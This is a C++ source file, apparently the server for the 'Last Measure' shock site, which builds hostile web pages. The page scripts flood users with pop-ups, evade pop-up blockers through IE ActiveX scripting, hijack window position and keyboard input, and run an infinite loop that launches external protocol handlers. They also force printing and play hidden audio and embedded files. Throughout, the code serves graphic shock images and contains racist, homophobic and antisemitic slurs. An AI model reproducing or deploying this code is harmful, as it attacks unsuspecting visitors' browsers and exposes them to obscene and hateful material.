| 1 | /* XXX: |
|---|
| 2 | * `if_ie6 == true', should we use `showModelessDialog()'? |
|---|
| 3 | * `showModelessDialog()' was used in LastMeasure 3.4 to avoid Internet |
|---|
| 4 | * Explorer's pop-up blockers. goat-see's comment remains, yet |
|---|
| 5 | * `showModelessDialog()' is not used anywhere in the code. |
|---|
| 6 | */ |
|---|
| 7 | #include <string> |
|---|
| 8 | #include <sstream> |
|---|
| 9 | #include <fstream> |
|---|
| 10 | #include <iostream> |
|---|
| 11 | #include <streambuf> |
|---|
| 12 | |
|---|
| 13 | #ifdef SOFT |
|---|
| 14 | # define IMAGES_PREFIX "/soft/" |
|---|
| 15 | #else |
|---|
| 16 | # define IMAGES_PREFIX "/images/" |
|---|
| 17 | #endif |
|---|
| 18 | |
|---|
| 19 | /* {{{ Static resources */ |
|---|
| 20 | static char const *staticnames[] = |
|---|
| 21 | { |
|---|
| 22 | /* Shock pictures */ |
|---|
| 23 | "/images/awesome.jpg", "/images/Pain4.jpg", |
|---|
| 24 | "/images/balloonboy.jpg", "/images/Pain5.jpg", |
|---|
| 25 | "/images/christmas.jpg", "/images/Pain.jpg", |
|---|
| 26 | "/images/freak.jpg", "/images/penisbird.gif", |
|---|
| 27 | "/images/harlequin1.jpg", "/images/pillowfight.jpg", |
|---|
| 28 | "/images/harlequin2.jpg", "/images/pooped.jpg", |
|---|
| 29 | "/images/harlequin3.jpg", "/images/rustina.jpg", |
|---|
| 30 | "/images/harlequin4.jpg", "/images/smile.jpg", |
|---|
| 31 | "/images/harlequin.jpg", "/images/spin.gif", |
|---|
| 32 | "/images/hello.jpg", "/images/stopracism.jpg", |
|---|
| 33 | "/images/hotblowjob.jpg", "/images/stretch.jpg", |
|---|
| 34 | "/images/kiss.jpg", "/images/tubgirl.jpg", |
|---|
| 35 | "/images/lemonparty.jpg", "/images/Untitled.jpg", |
|---|
| 36 | "/images/loopback.jpg", "/images/weightlifter.jpg", |
|---|
| 37 | "/images/Pain2.jpg", "/images/zoidberg.jpg", |
|---|
| 38 | "/images/Pain3.jpg", "/images/jar.jpg", |
|---|
| 39 | "/images/lunch.jpg", |
|---|
| 40 | |
|---|
| 41 | /* Soft images */ |
|---|
| 42 | "/soft/christmas.jpg", "/soft/pillowfight.jpg", |
|---|
| 43 | "/soft/eww.jpg", "/soft/pooped.jpg", |
|---|
| 44 | "/soft/freak.jpg", "/soft/rustina.jpg", |
|---|
| 45 | "/soft/hello.jpg", "/soft/spin.gif", |
|---|
| 46 | "/soft/lemonparty.jpg", "/soft/tubgirl.jpg", |
|---|
| 47 | "/soft/loopback.jpg", "/soft/weightlifter.jpg", |
|---|
| 48 | "/soft/ouch.jpg", |
|---|
| 49 | |
|---|
| 50 | /* Static sound samples */ |
|---|
| 51 | "/audio/abez2.wav", "/audio/abez.wav", |
|---|
| 52 | "/audio/blackman.wav", "/audio/eska.wav", |
|---|
| 53 | "/audio/fury.wav", "/audio/jesuitx1.wav", |
|---|
| 54 | "/audio/jesuitx2.wav", "/audio/jizzy.wav", |
|---|
| 55 | "/audio/kirk.wav", "/audio/lolichan.wav", |
|---|
| 56 | "/audio/original.wav", "/audio/popeye.wav", |
|---|
| 57 | "/audio/rkz.wav", "/audio/rucas.wav", |
|---|
| 58 | "/audio/sam.wav", "/audio/trogg.wav", |
|---|
| 59 | "/audio/unknown.wav", |
|---|
| 60 | |
|---|
| 61 | /* <iframe> */ |
|---|
| 62 | "/lm.pdf", |
|---|
| 63 | "/lm2.pdf", |
|---|
| 64 | "/jews.wmv", |
|---|
| 65 | "/gnaa.mp3", |
|---|
| 66 | |
|---|
| 67 | /* Other static files */ |
|---|
| 68 | "/flash/first_opener.swf", |
|---|
| 69 | "/flash/second_opener.swf", |
|---|
| 70 | "/flash/hello.swf", |
|---|
| 71 | "/flash/hey.swf", |
|---|
| 72 | |
|---|
| 73 | "/LastCoffee.class", |
|---|
| 74 | "/gnaa.png", |
|---|
| 75 | |
|---|
| 76 | "/favicon.ico", |
|---|
| 77 | "/robots.txt", |
|---|
| 78 | |
|---|
| 79 | //"/index.php", |
|---|
| 80 | }; |
|---|
| 81 | /* }}} */ |
|---|
| 82 | typedef std::pair<std::string,std::string> Response; |
|---|
| 83 | |
|---|
| 84 | class Resources |
|---|
| 85 | { |
|---|
| 86 | public: |
|---|
| 87 | static void LoadAll() |
|---|
| 88 | { |
|---|
| 89 | for (size_t i = 0; i < NSTATICS; i++) |
|---|
| 90 | { |
|---|
| 91 | /* Skip leading / when opening local files */ |
|---|
| 92 | std::ifstream t(staticnames[i] + 1); |
|---|
| 93 | m_statics[i] = std::string((std::istreambuf_iterator<char>(t)), |
|---|
| 94 | std::istreambuf_iterator<char>()); |
|---|
| 95 | } |
|---|
| 96 | } |
|---|
| 97 | |
|---|
| 98 | static Response Get(char const *resource, char const *query, |
|---|
| 99 | char const *host, char const *agent, int *flags) |
|---|
| 100 | { |
|---|
| 101 | /* Special case for server status (TODO) */ |
|---|
| 102 | if (!strcmp(resource, "/server-status") || !strcmp(resource, "/server-status/")) |
|---|
| 103 | return Response("SERVER STATUS UNAVAILABLE FOR NOW", "text/html"); |
|---|
| 104 | |
|---|
| 105 | /* Special case for static resources */ |
|---|
| 106 | for (size_t i = 0; i < NSTATICS; i++) |
|---|
| 107 | { |
|---|
| 108 | if (!strcmp(resource, staticnames[i])) |
|---|
| 109 | return Response(m_statics[i], MimeType(resource)); |
|---|
| 110 | } |
|---|
| 111 | |
|---|
| 112 | /* Special case for gzipped data. TODO: just a test for now */ |
|---|
| 113 | if (!strcmp(resource, "/gnaa.txt")) |
|---|
| 114 | { |
|---|
| 115 | *flags |= 1; |
|---|
| 116 | return Response(std::string( |
|---|
| 117 | "\x1f\x8b\x08\x00\x7d\xb7\x18\x4f\x02\x03\xec\xd1" |
|---|
| 118 | "\x41\x0a\x80\x20\x10\x05\xd0\x7d\xe0\x1d\xbc\x8a" |
|---|
| 119 | "\xab\x56\xb5\xea\xfe\x67\x89\x10\x29\x4d\xc3\x4d" |
|---|
| 120 | "\xbb\x97\x04\x4e\xcc\x9f\xb2\x17\x96\x18\xd7\x3d" |
|---|
| 121 | "\xa5\xeb\x8e\xb1\xde\xe7\xab\x5f\x1d\x5b\x58\x4a" |
|---|
| 122 | "\x6f\x7e\x56\x57\xed\xa4\x52\xe5\x54\x3d\xaf\x9e" |
|---|
| 123 | "\x71\xbf\xe5\x59\xf5\x72\xfd\xce\x51\x6e\xd4\xd9" |
|---|
| 124 | "\x3f\xc1\x7f\xb9\xaf\xef\x9c\xf9\x13\x6d\xee\xed" |
|---|
| 125 | "\x37\x97\x2b\x8b\x3f\x7f\xfe\xfc\xf9\xf3\xe7\xcf" |
|---|
| 126 | "\x9f", 109), "text/plain"); |
|---|
| 127 | } |
|---|
| 128 | |
|---|
| 129 | /* Is this a pop-up? */ |
|---|
| 130 | bool is_popup = (strstr(query, "popup=1") > 0); |
|---|
| 131 | |
|---|
| 132 | char const *flash; |
|---|
| 133 | |
|---|
| 134 | /* Is the browser IE 6 or better? */ |
|---|
| 135 | char const *parser = strstr(agent, " MSIE "); |
|---|
| 136 | bool is_ie6 = parser && (atoi(parser + strlen(" MSIE ")) >= 6); |
|---|
| 137 | |
|---|
| 138 | /* {{{ Generate LM HTML */ |
|---|
| 139 | /* Sending stuff */ |
|---|
| 140 | std::stringstream data(""); |
|---|
| 141 | |
|---|
| 142 | data << |
|---|
| 143 | /* {{{ Header shit */ |
|---|
| 144 | "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"" |
|---|
| 145 | "\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\r\n" |
|---|
| 146 | "<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en\" xml:lang=\"en\">\r\n" |
|---|
| 147 | |
|---|
| 148 | " <head>\r\n" |
|---|
| 149 | " <title>" << Random::Title() << "</title>\r\n" |
|---|
| 150 | " <meta name=\"keywords\" content=\"" << Random::Keywords(128) << "\" />\r\n" |
|---|
| 151 | " <meta name=\"description\" content=\"" << Random::Keywords(20) << "\" />\r\n" |
|---|
| 152 | " <script type=\"text/javascript\">\r\n" << JavaScript(host) << |
|---|
| 153 | " </script>\r\n" |
|---|
| 154 | " <link rel=\"icon\" type=\"image/x-icon\" " |
|---|
| 155 | "href=\"//" << host << "/favicon.ico\" />\r\n" |
|---|
| 156 | " <link rel=\"shortcut icon\" type=\"image/x-icon\" " |
|---|
| 157 | "href=\"//" << host << "/favicon.ico\" />\r\n" |
|---|
| 158 | " <style type=\"text/css\">\r\n" |
|---|
| 159 | " html { height: 100%; width: 100%; overflow: hidden; }\r\n" |
|---|
| 160 | " body { height: 100%; width: 100%; margin: 0; padding: 0; }\r\n" |
|---|
| 161 | " </style>\r\n" |
|---|
| 162 | " <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, user-scalable=no\" />\r\n" /* Let's go full screen on mobile devices. TODO: confirm that this works. */ |
|---|
| 163 | " <meta name=\"apple-mobile-web-app-capable\" content=\"yes\" />\r\n" |
|---|
| 164 | " <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\" />\r\n" |
|---|
| 165 | " </head>\r\n" |
|---|
| 166 | /* }}} */ |
|---|
| 167 | " <body style=\"background-image: url(//" << host << RandomAsset(IMAGES_PREFIX) << "); background-color: #FFFFFF;\"\r\n" |
|---|
| 168 | " onload=\"noframes(); load_goatse(); document.getElementById('goatse').innerHTML = ''; movew0w(); "; |
|---|
| 169 | |
|---|
| 170 | if (is_ie6) |
|---|
| 171 | data << "setTimeout('main()', 500); window.external.AddFavorite(self.location.href, 'Wikipedia, the free encyclopedia'); "; |
|---|
| 172 | if (!is_popup) |
|---|
| 173 | data << "print(); procreate(); "; |
|---|
| 174 | |
|---|
| 175 | data << |
|---|
| 176 | |
|---|
| 177 | "setTimeout('ruin()', 200);\"\r\n" |
|---|
| 178 | " onmousemove=\"document.getElementById('goatse').innerHTML = ''; movew0w(); procreate();\"\r\n" |
|---|
| 179 | " onkeydown=\"molish(); procreate();\"\r\n" |
|---|
| 180 | " onunload=\"document.getElementById('goatse').innerHTML = ''; movew0w(); procreate();\"\r\n" |
|---|
| 181 | " onmouseover=\"document.getElementById('goatse').innerHTML = ''; movew0w(); procreate();\">\r\n"; |
|---|
| 182 | |
|---|
| 183 | data << MoveAround(800, 600, host); |
|---|
| 184 | data << ActivateApplets(); |
|---|
| 185 | /* {{{ If using IE6 */ |
|---|
| 186 | if (is_ie6) /* Do these things even work in the newer versions of IE? TODO: Test these. */ |
|---|
| 187 | { |
|---|
| 188 | data << PopupBypasser(host); |
|---|
| 189 | data << DivertOnload(); |
|---|
| 190 | /* |
|---|
| 191 | * MSIE gets a special kind of Last Measure where I start off with a |
|---|
| 192 | * `ModelessDialog' and pop up from it. |
|---|
| 193 | * Gets around Google Toolbar. |
|---|
| 194 | * -- goat-see |
|---|
| 195 | */ |
|---|
| 196 | } |
|---|
| 197 | /* }}} */ |
|---|
| 198 | data << |
|---|
| 199 | |
|---|
| 200 | "<table>\r\n" |
|---|
| 201 | " <tr>\r\n" |
|---|
| 202 | " <td valign=\"middle\">\r\n" |
|---|
| 203 | " <div style=\"text-align: center;\">\r\n" |
|---|
| 204 | " <a href=\"http://www.gnaa.eu/\"><img src=\"//" << host << "/gnaa.png\" alt=\"Proudly brought to you by the Gay Nigger Association of America\" /></a>\r\n" |
|---|
| 205 | " <br />\r\n" |
|---|
| 206 | " <br />\r\n"; |
|---|
| 207 | /* {{{ If not using IE6 */ |
|---|
| 208 | if (!is_ie6) |
|---|
| 209 | { |
|---|
| 210 | flash = is_popup ? "second_opener.swf" : "first_opener.swf"; |
|---|
| 211 | data << |
|---|
| 212 | |
|---|
| 213 | "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" " |
|---|
| 214 | "codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\">\r\n" |
|---|
| 215 | " <param name=\"movie\" value=\"//" << host << "/flash/" << flash << "\" />\r\n" |
|---|
| 216 | " <param name=\"quality\" value=\"high\" />\r\n" |
|---|
| 217 | "</object>\r\n"; |
|---|
| 218 | } |
|---|
| 219 | /* }}} */ |
|---|
| 220 | data << |
|---|
| 221 | |
|---|
| 222 | " </div>\r\n" |
|---|
| 223 | " </td>\r\n" |
|---|
| 224 | " </tr>\r\n" |
|---|
| 225 | "</table>\r\n"; |
|---|
| 226 | /* {{{ If not a popup... */ |
|---|
| 227 | if (!is_popup) |
|---|
| 228 | { |
|---|
| 229 | data << |
|---|
| 230 | // This object plays the "hey everybody, I'm looking at gay porno!" sound |
|---|
| 231 | "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" " |
|---|
| 232 | "codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\" width=\"1\" height=\"1\" id=\"hey\">\r\n" |
|---|
| 233 | " <param name=\"movie\" value=\"//" << host << "/flash/hey.swf\" />\r\n" |
|---|
| 234 | " <param name=\"quality\" value=\"high\" />\r\n" |
|---|
| 235 | "</object>\r\n" |
|---|
| 236 | "<script type=\"text/javascript\">\r\n" |
|---|
| 237 | "<!--\r\n" |
|---|
| 238 | "var audio = new Array();\r\n"; |
|---|
| 239 | |
|---|
| 240 | for (int i = FindAssetIndex("/audio/", -1), n = 0; i < (int)NSTATICS; i = FindAssetIndex("/audio/", i)) |
|---|
| 241 | data << " audio[" << n << "] = '//" << host << staticnames[i] << "';\r\n"; |
|---|
| 242 | |
|---|
| 243 | data << |
|---|
| 244 | // FIXME: For me (Leon), at least, the sound files aren't playing for very long. (Meaning that all I end up hearing is "hey everybody! I'm" before it loops.) |
|---|
| 245 | "for (i = 0; i < audio.length; i++)\r\n" |
|---|
| 246 | " setTimeout('document.getElementById(\"audio\").innerHTML += \\'<embed src=\"' + audio[i] + '\" loop=\"true\" />\\';', 6000 * (i/2));\r\n" |
|---|
| 247 | "// -->\r\n" |
|---|
| 248 | "</script>\r\n" |
|---|
| 249 | "<div id=\"audio\">\r\n" |
|---|
| 250 | "</div>\r\n" |
|---|
| 251 | "<applet code=\"LastCoffee.class\" width=\"100\" height=\"100\" codebase=\"/\" />\r\n" |
|---|
| 252 | "</div>\r\n" |
|---|
| 253 | "<div>\r\n" |
|---|
| 254 | "<iframe style=\"width: 1px; height: 1px;\" src=\"//" << host << "/lm.pdf\"></iframe>\r\n" |
|---|
| 255 | "<iframe style=\"width: 1px; height: 1px;\" src=\"//" << host << "/lm2.pdf\"></iframe>\r\n" |
|---|
| 256 | "<iframe style=\"width: 1px; height: 1px;\" src=\"//" << host << "/jews.wmv\"></iframe>\r\n" |
|---|
| 257 | "<iframe style=\"width: 1px; height: 1px;\" src=\"//" << host << "/gnaa.mp3\"></iframe>\r\n" |
|---|
| 258 | "<div id=\"goatse\">yes hello</div>\r\n" |
|---|
| 259 | "<br />\r\n" << Random::Keywords(128) << "</div>\r\n"; |
|---|
| 260 | } |
|---|
| 261 | /* }}} */ |
|---|
| 262 | data << |
|---|
| 263 | " </body>\r\n"; |
|---|
| 264 | |
|---|
| 265 | return Response(data.str(), "text/html"); |
|---|
| 266 | /* }}} */ |
|---|
| 267 | } |
|---|
| 268 | /* {{{ JavaScript() */ |
|---|
| 269 | static std::string JavaScript(char const *host) |
|---|
| 270 | { |
|---|
| 271 | std::stringstream ret(""); |
|---|
| 272 | |
|---|
| 273 | ret << Molish(); |
|---|
| 274 | ret << |
|---|
| 275 | |
|---|
| 276 | /* XXX Does click() even work? */ |
|---|
| 277 | "function click() {\r\n" |
|---|
| 278 | " if(event.which == 3 || event.button == 2)\r\n" |
|---|
| 279 | " return false;\r\n" |
|---|
| 280 | "}\r\n" |
|---|
| 281 | /* {{{ Popups */ |
|---|
| 282 | "function procreate() {\r\n" |
|---|
| 283 | " for(i = 0; i < 16; i++)\r\n" |
|---|
| 284 | " setTimeout(popUp(\"index.php?popup=1\"), 50);\r\n" |
|---|
| 285 | "}\r\n" |
|---|
| 286 | |
|---|
| 287 | "function popUp(URL) {\r\n" |
|---|
| 288 | " switch(Math.random()*3) {\r\n" |
|---|
| 289 | " case 0:\r\n" |
|---|
| 290 | " var day = new Date();\r\n" |
|---|
| 291 | " var id = day.getTime();\r\n" |
|---|
| 292 | " eval(\"page\" + id + \" = window.open(URL, '_blank', 'toolbar=0,scrollbars=0,location=1,statusbar=0,menubar=0,resizable=0,width=640,height=583');\");\r\n" |
|---|
| 293 | " break;\r\n" |
|---|
| 294 | " case 1:\r\n" |
|---|
| 295 | " var puwindow = window.open(URL, \"ljPu\", \"toolbar,status,resizable,scrollbars,menubar,location,height=780,width=1024\");\r\n" |
|---|
| 296 | " window.setTimeout(window.focus, 500);\r\n" |
|---|
| 297 | " if (puwindow)\r\n" |
|---|
| 298 | " puwindow.blur();\r\n" |
|---|
| 299 | " break;\r\n" |
|---|
| 300 | " case 2:\r\n" |
|---|
| 301 | " var pwin = window.open('', '_blank', 'toolbar=0,scrollbars=0,location=1,statusbar=0,menubar=0,resizable=0,width=640,height=583');\r\n" |
|---|
| 302 | " pwin.location = URL;\r\n" |
|---|
| 303 | " break;\r\n" |
|---|
| 304 | " }\r\n" |
|---|
| 305 | "}\r\n" |
|---|
| 306 | |
|---|
| 307 | "goatseflash = \"<div id='hello' style='z-index: 50; position: fixed; top: 0px; left: 0px; width: 100%; height: 100%;'>\";\r\n" |
|---|
| 308 | "goatseflash += \" <object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0' width='100%' height='100%'>\";\r\n" |
|---|
| 309 | "goatseflash += \" <param name='movie' value='//" << host << "/flash/hello.swf' />\";\r\n" |
|---|
| 310 | "goatseflash += \" <param name='wmode' value='transparent' />\";\r\n" |
|---|
| 311 | "goatseflash += \" </object>\";\r\n" |
|---|
| 312 | "goatseflash += \"</div>\";\r\n" |
|---|
| 313 | |
|---|
| 314 | "function load_goatse() {\r\n" |
|---|
| 315 | " document.body.innerHTML += goatseflash;\r\n" |
|---|
| 316 | " setTimeout(\"unload_goatse()\", 3000);\r\n" // 3s |
|---|
| 317 | "}\r\n" |
|---|
| 318 | |
|---|
| 319 | "function unload_goatse() {\r\n" |
|---|
| 320 | " document.getElementById(\"hello\").style.display = 'none';\r\n" |
|---|
| 321 | "}\r\n" |
|---|
| 322 | /* }}} */ |
|---|
| 323 | "function noframes() {\r\n" |
|---|
| 324 | " if (top.location.hostname != location.hostname)\r\n" |
|---|
| 325 | " top.location.href = window.location.href;\r\n" |
|---|
| 326 | "}\r\n" |
|---|
| 327 | /* {{{ Protocol ruin */ |
|---|
| 328 | "var protos = [\r\n" |
|---|
| 329 | " \"irc://irc.gnaa.eu/gnaa\",\r\n" |
|---|
| 330 | " \"irc://irc.freenode.net/freenode?msg=THIS" << "%20" << "CHANNEL%20HAS%20MOVED%20TO%20IRC.HARDCHATS.COM%20#GNAA\",\r\n" |
|---|
| 331 | //" \"irc://irc.freenode.net/wikipedia-en?msg=THIS%20CHANNEL%20HAS%20MOVED%20TO%20IRC.HARDCHATS.COM%20#GNAA\",\r\n" |
|---|
| 332 | " \"news:alt.flame.niggers\",\r\n" |
|---|
| 333 | " \"news:alt.flame.faggots\",\r\n" |
|---|
| 334 | " \"mailto:JOIN@THE.GNAA?subject=2012_RECRUITMENT_DRIVE&body=www.gnaa.eu\",\r\n" |
|---|
| 335 | " \"callto://JOIN_THE_GNAA__2012_RECRUITMENT_DRIVE\",\r\n" |
|---|
| 336 | " \"rlogin://1.1.1.1:80\",\r\n" |
|---|
| 337 | " \"telnet://1.1.1.1:80\",\r\n" |
|---|
| 338 | " \"mailto:JOIN@THE.GNAA?subject=2012_RECRUITMENT_DRIVE&body=www.gnaa.eu\",\r\n" |
|---|
| 339 | " \"ed2k://|file|Gayniggers From Outer Space [GNAA Digitally Remastered].avi|134174720|F8AF9D8A7091CD7A7B8968C9EB397C02|/\",\r\n" |
|---|
| 340 | " \"aim:addbuddy?listofscreennames=HY,LOL,HY,LOL,HY,LOL,join,the,GNAA,2012,RECRUITMENT,DRIVE,heartiez2incog,cpurape vo.1 - lncog&groupname=GNAA\",\r\n" |
|---|
| 341 | " \"aim:goaway?message=ARE+YOU+GAY%" << "3F" << "+ARE+YOU+A+NIGGER%" << "3F" << "+ARE+YOU+A+GAY+NIGGER%" << "3F" << "\",\r\n" |
|---|
| 342 | " \"aim:goim?screenname=bluexox5&message=dont+fuck+with+the+GNAA\",\r\n" |
|---|
| 343 | " \"magnet:?xt=urn:btih:4424ecbc11bf0238e36cf2412b248e0c2339c663&dn=Gayniggers.From.Outer.Space.Digitally.Remastered.XviD-NoGrp" |
|---|
| 344 | "&tr=udp://tracker.openbittorrent.com:80&tr=udp://tracker.publicbt.com:80&tr=udp://tracker.ccc.de:80\",\r\n" |
|---|
| 345 | " \"skype:literalka?add\",\r\n" |
|---|
| 346 | " ];\r\n" |
|---|
| 347 | |
|---|
| 348 | "function add(str) {\r\n" |
|---|
| 349 | " div = document.getElementById('goatse');\r\n" |
|---|
| 350 | " div.innerHTML = '<iframe style=\"width: 1; height: 1;\" src=\"' + str + '\"></iframe>';\r\n" |
|---|
| 351 | "}\r\n" |
|---|
| 352 | |
|---|
| 353 | "function ruin() {\r\n" |
|---|
| 354 | // " document.body.innerHTML += '<div id=\"goatse\">yes hello</div>';\r\n" |
|---|
| 355 | " while (1) {\r\n" |
|---|
| 356 | " for (i = 0; i < protos.length; i++)\r\n" |
|---|
| 357 | " setTimeout(add(protos[i]), 50);\r\n" |
|---|
| 358 | " }\r\n" |
|---|
| 359 | "}\r\n"; |
|---|
| 360 | /* }}} */ |
|---|
| 361 | return ret.str(); |
|---|
| 362 | } |
|---|
| 363 | /* }}} */ |
|---|
| 364 | /* {{{ Molish() */ |
|---|
| 365 | static std::string Molish() |
|---|
| 366 | { |
|---|
| 367 | std::stringstream ret(""); |
|---|
| 368 | |
|---|
| 369 | ret << |
|---|
| 370 | |
|---|
| 371 | "function molish() {\r\n" |
|---|
| 372 | " var credits = " |
|---|
| 373 | "\"LAST MEASURE UNIFIED X-2, by LiteralKa and sam.\\n" |
|---|
| 374 | "Starring:\\n" |
|---|
| 375 | "Balloon Boy, Huge_Midget's 'Pain Series', Kevin Klerck (spin.gif), Kirk Johnson,\\n" |
|---|
| 376 | "Lemonparty, Loopback, Penisbird, Pillowfight, Rusty's Wife, The Harlequin Fetus,\\n" |
|---|
| 377 | "The Shitfaced Lady, Tubgirl, and much, much more!\\n" |
|---|
| 378 | "\\n\\n" |
|---|
| 379 | "Multiple 'HEY EVERYBODY...' clips by abez, blackman, eska, fury, JesuitX, JiZZy, kirk,\\n" |
|---|
| 380 | "lolichan, 'original', popeye, rkz, Rucas, sam, and trogg.\\n" |
|---|
| 381 | "\\n\\n" |
|---|
| 382 | "Pop-up blocker evasion technology by Armorfist, goat-see, and LiteralKa.\\n" |
|---|
| 383 | "hey.swf by rkz.\\n" |
|---|
| 384 | "IFRAME protocol ruin by incog and LiteralKa.\\n" |
|---|
| 385 | "LastCoffee by abez and Dessimat0r.\\n" |
|---|
| 386 | "lmserver by sam and LiteralKa.\\n" |
|---|
| 387 | "PDF Ruin by JacksonBrown and Jmax.\\n" |
|---|
| 388 | "Stats Measure by Jmax, relex, rolloffle, Rucas, and timecop.\\n" |
|---|
| 389 | "\\n\\n" |
|---|
| 390 | "Updated by abortion, JacksonBrown, Rolloffle, timecop, weev, and others.\\n" |
|---|
| 391 | "Previous versions were lead by goat-see (pi), Jmax, Penisbird, Rucas, sam, and Zeikfried.\\n" |
|---|
| 392 | "Proudly brought to you by the Gay Nigger Association of America.\\n\";\r\n" |
|---|
| 393 | |
|---|
| 394 | " switch (event.keyCode) {\r\n" |
|---|
| 395 | " case 17:\r\n" // CTRL [Or the Apple "CMD", only detected by Opera] |
|---|
| 396 | // NOTE: Opera Mac gives keyCode '0' |
|---|
| 397 | " case 18:\r\n" // ALT |
|---|
| 398 | " case 46:\r\n" // DEL |
|---|
| 399 | " case 81:\r\n" // W (As in "CTRL+W") |
|---|
| 400 | " case 87:\r\n" // Q (As in "CTRL+Q") |
|---|
| 401 | " case 115:\r\n" // F4 |
|---|
| 402 | " case 63272:\r\n" // DEL on the fucked-up Safari browser |
|---|
| 403 | " alert(credits);\r\n" |
|---|
| 404 | " break;\r\n" |
|---|
| 405 | " default:\r\n" // Don't see why not everyone could get a warning |
|---|
| 406 | " alert(\"Our lawyer has informed us that we need a warning. So, " |
|---|
| 407 | "if you are under the age of 18 or find this offensive, " |
|---|
| 408 | "please leave immediately.\");\r\n" |
|---|
| 409 | " break;\r\n" |
|---|
| 410 | " }\r\n" |
|---|
| 411 | "}\r\n"; |
|---|
| 412 | |
|---|
| 413 | return ret.str(); |
|---|
| 414 | } |
|---|
| 415 | /* }}} */ |
|---|
| 416 | /* {{{ MoveAround() */ |
|---|
| 417 | /* http://www.gnaa.eu/changeset?old_path=%2Ftrollforge%2Flastmeasure%2Findex.php&old=79&new_path=%2Ftrollforge%2Flastmeasure%2Findex.php&new=81 */ |
|---|
| 418 | static std::string MoveAround(size_t width, size_t height, char const *host) |
|---|
| 419 | { |
|---|
| 420 | std::stringstream ret(""); |
|---|
| 421 | |
|---|
| 422 | ret << |
|---|
| 423 | |
|---|
| 424 | "<script type=\"text/javascript\">\r\n" |
|---|
| 425 | "<!--\r\n" |
|---|
| 426 | " var images = new Array();\r\n"; |
|---|
| 427 | |
|---|
| 428 | for (int i = FindAssetIndex(IMAGES_PREFIX, -1), n = 0; i < (int)NSTATICS; i = FindAssetIndex(IMAGES_PREFIX, i)) |
|---|
| 429 | ret << " images[" << n << "] = '//" << host << staticnames[i] << "';\r\n"; |
|---|
| 430 | |
|---|
| 431 | ret << |
|---|
| 432 | |
|---|
| 433 | "var delay = 10;\r\n" |
|---|
| 434 | "var step = .2;\r\n" |
|---|
| 435 | "var curstep = 0;\r\n" |
|---|
| 436 | |
|---|
| 437 | "window.resizeTo(" << width << ", " << height << ");\r\n" |
|---|
| 438 | "var centerX = (self.screen.width - document.body.clientWidth) / 2;\r\n" |
|---|
| 439 | "var centerY = (self.screen.height - document.body.clientHeight - 120) / 2;\r\n" |
|---|
| 440 | "movew0w();\r\n" |
|---|
| 441 | |
|---|
| 442 | "function movew0w() {\r\n" |
|---|
| 443 | " var j;\r\n" |
|---|
| 444 | " for (j = 0; j < 5; j++) {\r\n" |
|---|
| 445 | " curstep += step / 5;\r\n" |
|---|
| 446 | " var factorX = Math.sin(curstep * 6.1) * 0.9;\r\n" |
|---|
| 447 | " var factorY = Math.cos(curstep * 3.7) * 0.9;\r\n" |
|---|
| 448 | |
|---|
| 449 | " factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70)\r\n" |
|---|
| 450 | " * (Math.sin(10+curstep/(10+j))+0.2)\r\n" |
|---|
| 451 | " * Math.cos((curstep + j*25)/10);\r\n" |
|---|
| 452 | " factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70)\r\n" |
|---|
| 453 | " * (Math.sin(10+curstep/10)+0.2)\r\n" |
|---|
| 454 | " * Math.cos((curstep + j*25)/10);\r\n" |
|---|
| 455 | " self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY));\r\n" |
|---|
| 456 | " }\r\n" |
|---|
| 457 | |
|---|
| 458 | " document.body.background = images[(Math.floor(curstep) " << "%" << " images.length) + 1];\r\n" |
|---|
| 459 | " setTimeout(\"movew0w()\", delay);\r\n" |
|---|
| 460 | "}\r\n" |
|---|
| 461 | "// -->\r\n" |
|---|
| 462 | "</script>\r\n"; |
|---|
| 463 | |
|---|
| 464 | return ret.str(); |
|---|
| 465 | } |
|---|
| 466 | /* }}} */ |
|---|
| 467 | /* {{{ ActivateApplets() */ |
|---|
| 468 | static std::string ActivateApplets() |
|---|
| 469 | { |
|---|
| 470 | std::stringstream ret(""); |
|---|
| 471 | |
|---|
| 472 | ret << |
|---|
| 473 | |
|---|
| 474 | "<div>\r\n" |
|---|
| 475 | " <object id=\"x\" classid=\"clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A\" height=\"1\" width=\"1\">\r\n" |
|---|
| 476 | " <param name=\"ActivateApplets\" value=\"1\" />\r\n" |
|---|
| 477 | " <param name=\"ActivateActiveXControls\" value=\"1\" />\r\n" |
|---|
| 478 | " </object>\r\n" |
|---|
| 479 | "</div>\r\n"; |
|---|
| 480 | |
|---|
| 481 | return ret.str(); |
|---|
| 482 | } |
|---|
| 483 | /* }}} */ |
|---|
| 484 | /* {{{ This chunk bypasses pop-ups */ |
|---|
| 485 | /* {{{ PopupBypasser() */ |
|---|
| 486 | static std::string PopupBypasser(char const *host) |
|---|
| 487 | { |
|---|
| 488 | std::stringstream ret(""); |
|---|
| 489 | |
|---|
| 490 | ret << |
|---|
| 491 | |
|---|
| 492 | "<script type=\"text/javascript\">\r\n" |
|---|
| 493 | "<!--\r\n" |
|---|
| 494 | " function shellscript() {\r\n" |
|---|
| 495 | " for(i = 0; i < 5; i++)\r\n" |
|---|
| 496 | " open('//" << host << "/index.php?popup=1','_blank','scrollbar=no');\r\n" |
|---|
| 497 | " }\r\n" |
|---|
| 498 | |
|---|
| 499 | " function main() {\r\n" |
|---|
| 500 | " x.DOM.Script.execScript(shellscript.toString());\r\n" |
|---|
| 501 | " x.DOM.Script.setTimeout(\"shellscript()\");\r\n" |
|---|
| 502 | " setTimeout(\"main()\", 200);\r\n" |
|---|
| 503 | " }\r\n" |
|---|
| 504 | "// -->\r\n" |
|---|
| 505 | "</script>\r\n"; |
|---|
| 506 | |
